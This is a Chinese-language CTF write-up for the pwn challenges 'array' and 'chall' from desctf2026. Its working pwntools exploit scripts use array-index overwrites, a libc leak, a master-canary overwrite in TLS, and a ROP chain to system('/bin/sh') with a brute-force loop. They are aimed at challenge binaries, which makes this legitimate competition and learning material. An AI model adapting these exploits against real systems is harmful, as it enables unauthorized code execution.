desctf2026

array

非常友好啊

行,看看ida

看着像stack overflow

ida 太好用了你知道吗

还有这好事

本地过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
#io = remote("129.211.172.20",31362)
io = process('./array')

backdoor = 0x401339
ret_gadget = 0x40101a

def bypass_rand(idx, value):
while True:
io.send(b'A\n')
io.send(p64(idx))
try:
msg = io.recv(timeout=0.5)
if b"No!" in msg:
continue
if b"number2" in msg:
io.send(p64(value))
log.success(f"Success! Overwrote idx {idx} with {hex(value)}")
return
except EOFError:
exit()

io.sendafter(b"number1:", p64(17))

# 2. 修改 buf_ (idx 16)
bypass_rand(16, 100)

# 3. 覆盖 RBP (idx 21)
# 4. 覆盖返回地址 (idx 22) -> 填入 ret 指令地址(用于对齐)
log.info(" ret gadget")
bypass_rand(22, ret_gadget)

# 5. 覆盖返回地址之后的内存 (idx 23) ,填入 backdoor 地址
# v2[idx+1],所以 idx 23 对应 v2[24],即返回地址之后的位置
log.info("backdoor address")
bypass_rand(23, backdoor)

log.info("Sending 'D' ")
io.send(b'D')

io.interactive()

远程不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

# io = process('./array')
io = remote('129.211.172.20', 31362)

backdoor = 0x401339
ret_gadget = 0x40101a

def send_payload(idx, value, name):

while True:
# no 'D'
io.send(b'A')
io.send(b'B')
# send index
io.send(p64(idx))

# utilize recvuntil,adviod to dead
res = io.recvuntil((b"No!\n", b"number2:\n"))

if b"number2" in res:
# if pass , send value
io.send(p64(value))
log.success(f"Successfully {name}!")
return
else:
continue
io.sendafter(b"number1:", p64(17))
send_payload(16, 100, "buf_")
send_payload(22, ret_gadget, "ret gadget")
send_payload(23, backdoor, "backdoor")
log.info("Sending 'D' ")
io.send(b'D')

# Get Shell
io.interactive()

ok

chall

我去,heap

看看libc

2.35

保护开的挺全

输入原始 Token (rand后的)

变成admin

user 没有权限

原来是输入数字

wow, debug

Stack Buffer Overflow !!!

卧槽,这是rop

思路有了,先进入admin_mode,然后用debug,debug可以stack overflow,题目给了libc,后面在加个rop

我去

我们看看byte_5020 和a3的value

ok,进到admin了

找libc的offset

libc_base

Thread Local Storage

canary

输入的前 8 个字节当作指针,并把该地址清零

我们看看master_canary_addr对不对

太好了

何意位

有rw权限

还是不行,mmap出来的addr与libc.base之间的offset不固定

得让attachment强制执行‘./libc.so.6’

这个方法不行,用pwninit就可以了

ok,下断点调试过了

这个leak方法不行

leak libc 也是看运气,mmap 0x10000 chunk和asrl会使offset变化

我得换一个

ok, 通过-index 可以leak libc_base,还是稳定的

试了几回,没错

我在找找办法leak fs

这个可以稳定leak envrion

好的,envrion没什么用

现在的问题是fs的地址有0x100000到0x500000的随机偏移(单位为0x1000)

也就是说libc_base和fs_base之间的offset是不固定的

但fs_base相对于它的内存页的offset是固定的0x740

找不到稳定的方式去leak,只能爆了

远程固定的offset爆的应该更快

后面的循环直接让ai改了,不想一个一个Tab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

context.binary = './attachment_patched'
context.log_level = 'info'

libc = ELF('./libc.so.6', checksec=False) #clear

sbox = [
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d
]
a3 = [0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xBA, 0xBE, 0x13, 0x37, 0xC0, 0xDE, 0xFE, 0xED, 0xFA, 0xCE]
inv_sbox = {v: i for i, v in enumerate(sbox)}

def ror(val, amt):
return ((val >> amt) | (val << (8 - amt))) & 0xFF

def show_chunk(io, idx):
io.sendlineafter(b">> ", b"4")
io.sendlineafter(b"[*] Index: ", str(idx).encode())

def attempt_exploit(attempt_num):
io = process('./attachment_patched', level='error') #clear

try:
#Reverse
io.recvuntil(b"[*] Challenge (hex): ")
challenge_hex = io.recvline().strip().decode()
data = list(bytes.fromhex(challenge_hex))
for m in range(16):
data[m] = inv_sbox[data[m]]
data[m] ^= (m + a3[m]) & 0xFF
for k in range(7, -1, -1):
curr_k, curr_15k = data[k], data[15-k]
data[15-k] = curr_k ^ a3[(k + 3) % 16]
data[k] = curr_15k ^ a3[(18 - k) % 16]
for j in range(16):
data[j] ^= a3[(j + 7) % 16]
data[j] = ror(data[j], 3)
for i in range(16):
data[i] = inv_sbox[data[i]]
data[i] ^= a3[i]
io.sendlineafter(b"[*] Enter your token: ", bytes(data))

# Leak Libc
show_chunk(io, -32)
io.recvuntil(b'[*] Chunk -32 at ')
leak_addr = int(io.recvuntil(b" ")[:-1], 16)
io.recvuntil(b'6. Exit\n')

base_addr = leak_addr - 0x80e50
libc.address = base_addr
master_canary_addr = libc.address + 0x371740 + 0x28
#print(f"Calculated master canary address: {hex(master_canary_addr)}")
#print(f"Calculated libc base: {hex(libc.address)}")


# ROP
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

payload = p64(master_canary_addr)
payload = payload.ljust(0x48, b"A")
payload += p64(0) + p64(0xdeadbeef)
payload += p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system)

io.sendline(b"5")
io.sendlineafter(b'[*] Enter debug data ', payload)
io.sendline(b"echo PWNED")
result = io.recvuntil(b"PWNED", timeout=0.5)

if b"PWNED" in result:
log.success(f"\n[+] Exploit Succeeded on Attempt {attempt_num}!")
log.success(f"Libc base: {hex(libc.address)}")
log.success(f"Hit Master Canary at: {hex(master_canary_addr)}")
io.interactive()
return True

except EOFError:
pass
except Exception as e:
pass
# clear
io.close()
return False
if __name__ == "__main__":
log.info("Starting Bruteforce for fixed TLS offset (0x371740)...")
attempt = 1

while True:
# 每爆破 20 次打印一次进度条,防止不知道跑到哪了
if attempt % 20 == 0:
log.info(f"Running attempt {attempt}...")

if attempt_exploit(attempt):
break

attempt += 1

ezmail


desctf2026
https://ghostshark-pro.github.io/2026/03/20/desctf2026/
Author
shark
Posted
2026年3月20日
License